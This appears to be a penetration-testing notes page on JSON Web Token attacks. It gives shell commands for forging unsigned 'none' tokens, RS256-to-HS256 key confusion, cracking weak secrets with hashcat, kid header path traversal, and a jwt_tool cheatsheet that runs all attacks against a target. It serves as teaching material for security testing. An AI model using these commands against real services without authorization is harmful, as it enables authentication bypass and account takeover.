☼
⌃
☰

JWT Attacks

Table of Contents

JSON Web Tokens are commonly used for API authentication. They consist of three base64-encoded parts separated by dots: header.payload.signature. Misconfigurations in how tokens are generated and validated are a frequent source of authentication bypass.

Related: API Testing Methodology Broken Authentication OAuth 2.0

Structure

eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZ3JlZyJ9.signature
      header                  payload            signature

Decode without verification:

SHELL
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d
echo "eyJ1c2VyIjoiZ3JlZyJ9" | base64 -d

Attack 1: None Algorithm

Some libraries accept none as a valid algorithm, bypassing signature verification entirely.

  1. Decode the header and change alg to none
  2. Modify the payload as desired (e.g. change user to admin)
  3. Re-encode header and payload, remove the signature
SHELL
# Encode modified header
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '='

# Encode modified payload
echo -n '{"user":"admin"}' | base64 | tr -d '='

Final token format with empty signature:

<header>.<payload>.

Attack 2: Algorithm Confusion (RS256 → HS256)

When a server uses RS256 (asymmetric), the public key is used to verify signatures. If the library accepts HS256 (symmetric), you can sign a forged token with the public key as the secret.

  1. Obtain the server's public key (often at /jwks.json or /.well-known/jwks.json)
  2. Change alg from RS256 to HS256 in the header
  3. Sign the modified token using the public key as the HMAC secret
SHELL
# Fetch public key
curl http://$IP/.well-known/jwks.json

Tools: jwttool handles this automatically:

SHELL
python3 jwt_tool.py <token> -X k -pk public.pem

Attack 3: Weak Secret

If HS256 is used with a weak or guessable secret, the signature can be cracked.

SHELL
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

Once the secret is known, forge tokens with any payload:

SHELL
python3 jwt_tool.py <token> -T -S hs256 -p "secret"

Attack 4: Kid Header Injection

The kid (key ID) header tells the server which key to use for verification. If it is used in a file path or database query it may be vulnerable to path traversal or SQL injection.

SHELL
# Path traversal example — use /dev/null as key (empty string)
# Set kid to ../../dev/null and sign with empty string
python3 jwt_tool.py <token> -T -S hs256 -p "" \
  -hc kid -hv "../../dev/null"

Attack 5: JWT Expiry Manipulation

If expiry (exp) is not validated server-side, modify it to extend the token lifetime or remove it entirely.

Decode the payload, modify exp to a future timestamp, re-encode and re-sign if you have the secret.

jwttool Cheatsheet

SHELL
# Decode and display token
python3 jwt_tool.py <token>

# Tamper with payload interactively
python3 jwt_tool.py <token> -T

# Test all known attacks automatically
python3 jwt_tool.py <token> -X a -t http://$IP/api/endpoint

Tips

  • Always check alg in the header first — none and HS256 on an RS256 endpoint are immediate wins
  • Check /jwks.json and /.well-known/jwks.json for exposed public keys
  • jwttool's -X a flag runs all attack vectors automatically — useful for CTFs
  • Even a valid token is worth tampering with — check if the server validates the signature at all by flipping a character